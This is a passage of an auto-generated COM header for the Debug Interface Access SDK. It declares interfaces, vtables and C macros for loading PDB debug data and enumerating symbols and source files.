relativeVirtualAddress, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; }; #else /* C style interface */ typedef struct IDiaReadExeAtRVACallbackVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaReadExeAtRVACallback * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaReadExeAtRVACallback * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaReadExeAtRVACallback * This); HRESULT ( STDMETHODCALLTYPE *ReadExecutableAtRVA )( IDiaReadExeAtRVACallback * This, /* [in] */ DWORD relativeVirtualAddress, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); END_INTERFACE } IDiaReadExeAtRVACallbackVtbl; interface IDiaReadExeAtRVACallback { CONST_VTBL struct IDiaReadExeAtRVACallbackVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaReadExeAtRVACallback_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaReadExeAtRVACallback_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaReadExeAtRVACallback_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaReadExeAtRVACallback_ReadExecutableAtRVA(This,relativeVirtualAddress,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> ReadExecutableAtRVA(This,relativeVirtualAddress,cbData,pcbData,pbData) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaReadExeAtRVACallback_INTERFACE_DEFINED__ */ #ifndef __IDiaDataSource_INTERFACE_DEFINED__ #define __IDiaDataSource_INTERFACE_DEFINED__ /* interface IDiaDataSource */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaDataSource; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("79F1BB5F-B66E-48e5-B6A9-1545C323CA3D") IDiaDataSource : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lastError( /* [retval][out] */ BSTR *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE loadDataFromPdb( /* [in] */ LPCOLESTR pdbPath) = 0; virtual HRESULT STDMETHODCALLTYPE loadAndValidateDataFromPdb( /* [in] */ LPCOLESTR pdbPath, /* [in] */ GUID *pcsig70, /* [in] */ DWORD sig, /* [in] */ DWORD age) = 0; virtual HRESULT STDMETHODCALLTYPE loadDataForExe( /* [in] */ LPCOLESTR executable, /* [in] */ LPCOLESTR searchPath, /* [in] */ IUnknown *pCallback) = 0; virtual HRESULT STDMETHODCALLTYPE loadDataFromIStream( /* [in] */ IStream *pIStream) = 0; virtual HRESULT STDMETHODCALLTYPE openSession( /* [out] */ IDiaSession **ppSession) = 0; virtual HRESULT STDMETHODCALLTYPE loadDataFromCodeViewInfo( /* [in] */ LPCOLESTR executable, /* [in] */ LPCOLESTR searchPath, /* [in] */ DWORD cbCvInfo, /* [size_is][in] */ BYTE *pbCvInfo, /* [in] */ IUnknown *pCallback) = 0; virtual HRESULT STDMETHODCALLTYPE loadDataFromMiscInfo( /* [in] */ LPCOLESTR executable, /* [in] */ LPCOLESTR searchPath, /* [in] */ DWORD timeStampExe, /* [in] */ DWORD timeStampDbg, /* [in] */ DWORD sizeOfExe, /* [in] */ DWORD cbMiscInfo, /* [size_is][in] */ BYTE *pbMiscInfo, /* [in] */ IUnknown *pCallback) = 0; }; #else /* C style interface */ typedef struct IDiaDataSourceVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaDataSource * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaDataSource * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaDataSource * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lastError )( IDiaDataSource * This, /* [retval][out] */ BSTR *pRetVal); HRESULT ( STDMETHODCALLTYPE *loadDataFromPdb )( IDiaDataSource * This, /* [in] */ LPCOLESTR pdbPath); HRESULT ( STDMETHODCALLTYPE *loadAndValidateDataFromPdb )( IDiaDataSource * This, /* [in] */ LPCOLESTR pdbPath, /* [in] */ GUID *pcsig70, /* [in] */ DWORD sig, /* [in] */ DWORD age); HRESULT ( STDMETHODCALLTYPE *loadDataForExe )( IDiaDataSource * This, /* [in] */ LPCOLESTR executable, /* [in] */ LPCOLESTR searchPath, /* [in] */ IUnknown *pCallback); HRESULT ( STDMETHODCALLTYPE *loadDataFromIStream )( IDiaDataSource * This, /* [in] */ IStream *pIStream); HRESULT ( STDMETHODCALLTYPE *openSession )( IDiaDataSource * This, /* [out] */ IDiaSession **ppSession); HRESULT ( STDMETHODCALLTYPE *loadDataFromCodeViewInfo )( IDiaDataSource * This, /* [in] */ LPCOLESTR executable, /* [in] */ LPCOLESTR searchPath, /* [in] */ DWORD cbCvInfo, /* [size_is][in] */ BYTE *pbCvInfo, /* [in] */ IUnknown *pCallback); HRESULT ( STDMETHODCALLTYPE *loadDataFromMiscInfo )( IDiaDataSource * This, /* [in] */ LPCOLESTR executable, /* [in] */ LPCOLESTR searchPath, /* [in] */ DWORD timeStampExe, /* [in] */ DWORD timeStampDbg, /* [in] */ DWORD sizeOfExe, /* [in] */ DWORD cbMiscInfo, /* [size_is][in] */ BYTE *pbMiscInfo, /* [in] */ IUnknown *pCallback); END_INTERFACE } IDiaDataSourceVtbl; interface IDiaDataSource { CONST_VTBL struct IDiaDataSourceVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaDataSource_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaDataSource_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaDataSource_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaDataSource_get_lastError(This,pRetVal) \ ( (This)->lpVtbl -> get_lastError(This,pRetVal) ) #define IDiaDataSource_loadDataFromPdb(This,pdbPath) \ ( (This)->lpVtbl -> loadDataFromPdb(This,pdbPath) ) #define IDiaDataSource_loadAndValidateDataFromPdb(This,pdbPath,pcsig70,sig,age) \ ( (This)->lpVtbl -> loadAndValidateDataFromPdb(This,pdbPath,pcsig70,sig,age) ) #define IDiaDataSource_loadDataForExe(This,executable,searchPath,pCallback) \ ( (This)->lpVtbl -> loadDataForExe(This,executable,searchPath,pCallback) ) #define IDiaDataSource_loadDataFromIStream(This,pIStream) \ ( (This)->lpVtbl -> loadDataFromIStream(This,pIStream) ) #define IDiaDataSource_openSession(This,ppSession) \ ( (This)->lpVtbl -> openSession(This,ppSession) ) #define IDiaDataSource_loadDataFromCodeViewInfo(This,executable,searchPath,cbCvInfo,pbCvInfo,pCallback) \ ( (This)->lpVtbl -> loadDataFromCodeViewInfo(This,executable,searchPath,cbCvInfo,pbCvInfo,pCallback) ) #define IDiaDataSource_loadDataFromMiscInfo(This,executable,searchPath,timeStampExe,timeStampDbg,sizeOfExe,cbMiscInfo,pbMiscInfo,pCallback) \ ( (This)->lpVtbl -> loadDataFromMiscInfo(This,executable,searchPath,timeStampExe,timeStampDbg,sizeOfExe,cbMiscInfo,pbMiscInfo,pCallback) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaDataSource_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumSymbols_INTERFACE_DEFINED__ #define __IDiaEnumSymbols_INTERFACE_DEFINED__ /* interface IDiaEnumSymbols */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumSymbols; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("CAB72C48-443B-48f5-9B0B-42F0820AB29A") IDiaEnumSymbols : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IDiaSymbol **symbol) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumSymbols **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumSymbolsVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumSymbols * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumSymbols * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumSymbols * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumSymbols * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumSymbols * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumSymbols * This, /* [in] */ DWORD index, /* [retval][out] */ IDiaSymbol **symbol); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumSymbols * This, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumSymbols * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumSymbols * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumSymbols * This, /* [out] */ IDiaEnumSymbols **ppenum); END_INTERFACE } IDiaEnumSymbolsVtbl; interface IDiaEnumSymbols { CONST_VTBL struct IDiaEnumSymbolsVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumSymbols_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumSymbols_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumSymbols_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumSymbols_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumSymbols_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumSymbols_Item(This,index,symbol) \ ( (This)->lpVtbl -> Item(This,index,symbol) ) #define IDiaEnumSymbols_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumSymbols_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumSymbols_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumSymbols_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumSymbols_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumSymbolsByAddr_INTERFACE_DEFINED__ #define __IDiaEnumSymbolsByAddr_INTERFACE_DEFINED__ /* interface IDiaEnumSymbolsByAddr */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumSymbolsByAddr; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("624B7D9C-24EA-4421-9D06-3B577471C1FA") IDiaEnumSymbolsByAddr : public IUnknown { public: virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE symbolByAddr( /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [retval][out] */ IDiaSymbol **ppSymbol) = 0; virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE symbolByRVA( /* [in] */ DWORD relativeVirtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol) = 0; virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE symbolByVA( /* [in] */ ULONGLONG virtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Prev( /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumSymbolsByAddr **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumSymbolsByAddrVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumSymbolsByAddr * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumSymbolsByAddr * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumSymbolsByAddr * This); /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByAddr )( IDiaEnumSymbolsByAddr * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [retval][out] */ IDiaSymbol **ppSymbol); /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByRVA )( IDiaEnumSymbolsByAddr * This, /* [in] */ DWORD relativeVirtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol); /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByVA )( IDiaEnumSymbolsByAddr * This, /* [in] */ ULONGLONG virtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumSymbolsByAddr * This, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Prev )( IDiaEnumSymbolsByAddr * This, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumSymbolsByAddr * This, /* [out] */ IDiaEnumSymbolsByAddr **ppenum); END_INTERFACE } IDiaEnumSymbolsByAddrVtbl; interface IDiaEnumSymbolsByAddr { CONST_VTBL struct IDiaEnumSymbolsByAddrVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumSymbolsByAddr_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumSymbolsByAddr_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumSymbolsByAddr_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumSymbolsByAddr_symbolByAddr(This,isect,offset,ppSymbol) \ ( (This)->lpVtbl -> symbolByAddr(This,isect,offset,ppSymbol) ) #define IDiaEnumSymbolsByAddr_symbolByRVA(This,relativeVirtualAddress,ppSymbol) \ ( (This)->lpVtbl -> symbolByRVA(This,relativeVirtualAddress,ppSymbol) ) #define IDiaEnumSymbolsByAddr_symbolByVA(This,virtualAddress,ppSymbol) \ ( (This)->lpVtbl -> symbolByVA(This,virtualAddress,ppSymbol) ) #define IDiaEnumSymbolsByAddr_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumSymbolsByAddr_Prev(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Prev(This,celt,rgelt,pceltFetched) ) #define IDiaEnumSymbolsByAddr_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumSymbolsByAddr_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumSymbolsByAddr2_INTERFACE_DEFINED__ #define __IDiaEnumSymbolsByAddr2_INTERFACE_DEFINED__ /* interface IDiaEnumSymbolsByAddr2 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumSymbolsByAddr2; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("1E45BD02-BE45-4D71-BA32-0E576CFCD59F") IDiaEnumSymbolsByAddr2 : public IDiaEnumSymbolsByAddr { public: virtual HRESULT STDMETHODCALLTYPE symbolByAddrEx( /* [in] */ BOOL fPromoteBlockSym, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [retval][out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE symbolByRVAEx( /* [in] */ BOOL fPromoteBlockSym, /* [in] */ DWORD relativeVirtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE symbolByVAEx( /* [in] */ BOOL fPromoteBlockSym, /* [in] */ ULONGLONG virtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE NextEx( /* [in] */ BOOL fPromoteBlockSym, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE PrevEx( /* [in] */ BOOL fPromoteBlockSym, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched) = 0; }; #else /* C style interface */ typedef struct IDiaEnumSymbolsByAddr2Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumSymbolsByAddr2 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumSymbolsByAddr2 * This); /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByAddr )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [retval][out] */ IDiaSymbol **ppSymbol); /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByRVA )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ DWORD relativeVirtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol); /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *symbolByVA )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ ULONGLONG virtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Prev )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumSymbolsByAddr2 * This, /* [out] */ IDiaEnumSymbolsByAddr **ppenum); HRESULT ( STDMETHODCALLTYPE *symbolByAddrEx )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ BOOL fPromoteBlockSym, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [retval][out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *symbolByRVAEx )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ BOOL fPromoteBlockSym, /* [in] */ DWORD relativeVirtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *symbolByVAEx )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ BOOL fPromoteBlockSym, /* [in] */ ULONGLONG virtualAddress, /* [retval][out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *NextEx )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ BOOL fPromoteBlockSym, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *PrevEx )( IDiaEnumSymbolsByAddr2 * This, /* [in] */ BOOL fPromoteBlockSym, /* [in] */ ULONG celt, /* [out] */ IDiaSymbol **rgelt, /* [out] */ ULONG *pceltFetched); END_INTERFACE } IDiaEnumSymbolsByAddr2Vtbl; interface IDiaEnumSymbolsByAddr2 { CONST_VTBL struct IDiaEnumSymbolsByAddr2Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumSymbolsByAddr2_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumSymbolsByAddr2_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumSymbolsByAddr2_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumSymbolsByAddr2_symbolByAddr(This,isect,offset,ppSymbol) \ ( (This)->lpVtbl -> symbolByAddr(This,isect,offset,ppSymbol) ) #define IDiaEnumSymbolsByAddr2_symbolByRVA(This,relativeVirtualAddress,ppSymbol) \ ( (This)->lpVtbl -> symbolByRVA(This,relativeVirtualAddress,ppSymbol) ) #define IDiaEnumSymbolsByAddr2_symbolByVA(This,virtualAddress,ppSymbol) \ ( (This)->lpVtbl -> symbolByVA(This,virtualAddress,ppSymbol) ) #define IDiaEnumSymbolsByAddr2_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumSymbolsByAddr2_Prev(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Prev(This,celt,rgelt,pceltFetched) ) #define IDiaEnumSymbolsByAddr2_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #define IDiaEnumSymbolsByAddr2_symbolByAddrEx(This,fPromoteBlockSym,isect,offset,ppSymbol) \ ( (This)->lpVtbl -> symbolByAddrEx(This,fPromoteBlockSym,isect,offset,ppSymbol) ) #define IDiaEnumSymbolsByAddr2_symbolByRVAEx(This,fPromoteBlockSym,relativeVirtualAddress,ppSymbol) \ ( (This)->lpVtbl -> symbolByRVAEx(This,fPromoteBlockSym,relativeVirtualAddress,ppSymbol) ) #define IDiaEnumSymbolsByAddr2_symbolByVAEx(This,fPromoteBlockSym,virtualAddress,ppSymbol) \ ( (This)->lpVtbl -> symbolByVAEx(This,fPromoteBlockSym,virtualAddress,ppSymbol) ) #define IDiaEnumSymbolsByAddr2_NextEx(This,fPromoteBlockSym,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> NextEx(This,fPromoteBlockSym,celt,rgelt,pceltFetched) ) #define IDiaEnumSymbolsByAddr2_PrevEx(This,fPromoteBlockSym,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> PrevEx(This,fPromoteBlockSym,celt,rgelt,pceltFetched) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumSymbolsByAddr2_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumSourceFiles_INTERFACE_DEFINED__ #define __IDiaEnumSourceFiles_INTERFACE_DEFINED__ /* interface IDiaEnumSourceFiles */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumSourceFiles; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("10F3DBD9-664F-4469-B808-9471C7A50538") IDiaEnumSourceFiles : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IDiaSourceFile **sourceFile) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaSourceFile **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumSourceFiles **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumSourceFilesVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumSourceFiles * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumSourceFiles * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumSourceFiles * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumSourceFiles * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumSourceFiles * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumSourceFiles * This, /* [in] */ DWORD index, /* [retval][out] */ IDiaSourceFile **sourceFile); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumSourceFiles * This, /* [in] */ ULONG celt, /* [out] */ IDiaSourceFile **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumSourceFiles * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumSourceFiles * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumSourceFiles * This, /* [out] */ IDiaEnumSourceFiles **ppenum); END_INTERFACE } IDiaEnumSourceFilesVtbl; interface IDiaEnumSourceFiles { CONST_VTBL struct IDiaEnumSourceFilesVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumSourceFiles_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumSourceFiles_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumSourceFiles_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumSourceFiles_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumSourceFiles_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumSourceFiles_Item(This,index,sourceFile) \ ( (This)->lpVtbl -> Item(This,index,sourceFile) ) #define IDiaEnumSourceFiles_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumSourceFiles_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumSourceFiles_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumSourceFiles_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumSourceFiles_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumInputAssemblyFiles_INTERFACE_DEFINED__ #define __IDiaEnumInputAssemblyFiles_INTERFACE_DEFINED__ /* interface IDiaEnumInputAssemblyFiles */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumInputAssemblyFiles; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("1C7FF653-51F7-457E-8419-B20F57EF7E4D") IDiaEnumInputAssemblyFiles : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IDiaInputAssemblyFile **file) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaInputAssemblyFile **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumInputAssemblyFiles **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumInputAssemblyFilesVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumInputAssemblyFiles * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumInputAssemblyFiles * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumInputAssemblyFiles * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumInputAssemblyFiles * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( 